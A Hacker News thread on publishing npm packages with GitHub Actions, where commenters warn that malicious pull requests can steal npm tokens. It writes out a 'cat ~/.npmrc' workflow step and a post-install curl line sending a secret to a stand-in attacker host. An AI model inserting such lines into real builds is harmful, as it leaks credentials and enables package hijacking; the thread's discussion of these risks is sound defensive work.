
Publish NPM Package with GitHub Actions - pafo
https://juffalow.com/javascript/publish-npm-package-with-github-actions
======
NathanKP
Note that you need to be very careful about this if you have a public
repository that accepts PR's from third parties. There is nothing stopping
someone from adding this via a PR:

    
    
        - name: Give me this person's NPM token
          run: cat ~/.npmrc
    

Even if you have it locked down so they can't see the build output, they could
just add a curl command to post the contents of your .npmrc file to their
server.

A number of open source projects have been hacked this way in the past. This
is why I keep my NPM publish entirely isolated from the Github repo. I review
every PR that is submitted to me carefully, but don't want any chance of
accidentally merging in a malicious PR that will compromise my NPM packages.

~~~
tracker1
absolutely... I think Github should probably put a warning statement on any
PRs that include changes to .github/ __

~~~
judge2020
That would be good for the UI, but PRs that modify .github/workflows already
never run the checks. I guess they could also modify your npm `scripts` to
`cat .npmrc` but that's another issue.

------
tracker1
You don't need to write the environment variable to the .npmrc file... just
setting the NODE_AUTH token and registry_url parameters. Here's mine...

[https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...](https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bddebc1)

~~~
esamatti
I think attacker could still do this in a post install script:

curl -d secret=$NODE_AUTH
[https://attackershost.example/capture_secret](https://attackershost.example/capture_secret)

~~~
tracker1
fair enough... separating build and publish actions, and using artifacts from
one to the other can help limit exposure to just the publish yaml.

Though, one should be very leery of anything that touches certain paths... for
the most part, I tent to use scripts/npm/ for anything run from package.json
and would also watch out for any changes in .github/

It depends on a bit of due diligence. It's not any different than other CI/CD
platforms in any meaningful way.

------
koolba
Alternatively don’t do anything like this and setup 2FA for your NPM account
to prevent malicious publishes in the event of a compromise.

Another pleasant side effect is that 2FA prevents _accidental_ publishes too.

------
guessmyname
I am looking forward to be able to publish Go modules too.

•
[https://golang.org/doc/go1.13#modules](https://golang.org/doc/go1.13#modules)

• [https://sum.golang.org/](https://sum.golang.org/)

------
toomuchtodo
Could something similar be used to publish an artifact to Pypi?

~~~
ikornaselur
I really like the idea of automating this whole process. While not generic to
publishing to pypi, I was playing around with this process in a toy repo I
have, where it builds a Rust/Python package, creates a release on Github if I
bump the version number, build the package and publishes it on Pypi.

It probably not the cleanest way to do it, but I liked having it "spelled out"
in steps manually to play around and learn more about how to do this.

You can see my workflow in the toy repo here:
[https://github.com/ikornaselur/img-
utils/blob/master/.github...](https://github.com/ikornaselur/img-
utils/blob/master/.github/workflows/release.yml)

~~~
tracker1
since npm version creates a tag, I have an action for v* tags that will
build/publish... have migrated a couple projects from travis-ci ... TFA is a
bit mixed, you don't need to push to npmrc for this behavior though.

(I did post this link in direct thread, copied here)

[https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...](https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bddebc1)

~~~
pafo
Yes, you do not need .npmrc for publishing. But I am using Yarn and it didn't
work for me to just set NODE_AUTH_TOKEN :-(

~~~
tracker1
It does work for `npm publish` ... I'd submit a bug with yarn, and/or github.

------
k__
Are GHAs like FaaS for Git?

~~~
reilly3000
Pretty much yes. Their build running machines are very powerful and loaded
with lots of typical libraries. They specifically state that GHA should not be
used as a general serverless compute platform in their TOS. I think that needs
to be said because its perfectly capable of being a pretty robust FaaS
platform in general- but certainly its totally valid to use as FaaS for git or
anything that could be GitHub webhook, like PR comments, milestone updates,
label creation, etc.

